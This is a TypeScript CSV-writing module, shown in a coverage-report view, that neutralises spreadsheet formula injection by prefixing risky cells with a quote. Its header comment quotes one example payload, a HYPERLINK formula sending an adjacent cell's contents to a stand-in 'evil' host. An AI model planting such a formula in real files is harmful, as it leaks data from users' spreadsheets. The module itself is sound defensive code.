Press n or j to go to the next uncovered block, b, p or k for the previous block.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | 151x 138x 151x 13x 138x 13x 7x | /**
* CSV writing, with the spreadsheet-injection guard that makes it safe to hand
* a file to a human.
*
* Lifted out of `routes/admin/communication-logs.routes.ts`, where it was the
* only formula-injection-safe writer in the repo. The partner ledger export
* (FR-P-7.5) needed the same thing, and a second copy of an escaping routine is
* how one of them ends up missing a case.
*
* THE ATTACK: Excel and Google Sheets evaluate a cell whose text starts with
* `=`, `+`, `-`, `@`, or a leading tab/CR as a FORMULA — quoting does not stop
* it. `=HYPERLINK("https://evil/"&A1,"Click")` in a name field becomes a live
* link in the operator's spreadsheet built out of the row beside it. The fields
* at risk here are the ones a user typed: a partner's own `firm_name`, a
* reversal note, an operator's free text. Prefixing with a single quote makes
* the cell text, and the quote is not displayed.
*/
/** One field: injection-neutralised, then RFC-4180 quoted. */
export function csvField(value: unknown): string {
if (value === null || value === undefined) return '""';
let s =
typeof value === "string"
? value
: (JSON.stringify(value) ?? String(value));
if (/^[=+\-@\t\r]/.test(s)) {
s = `'${s}`;
}
return `"${s.replace(/"/g, '""')}"`;
}
/** One row, fields comma-joined. No trailing newline — the caller joins rows. */
export function csvRow(values: readonly unknown[]): string {
return values.map(csvField).join(",");
}
/**
* A whole document: header row plus body, CRLF-separated per RFC 4180.
*
* Excel on Windows needs the CRLF; every other reader tolerates it.
*/
export function csvDocument(
header: readonly string[],
rows: readonly (readonly unknown[])[],
): string {
return [csvRow(header), ...rows.map(csvRow)].join("\r\n");
}
|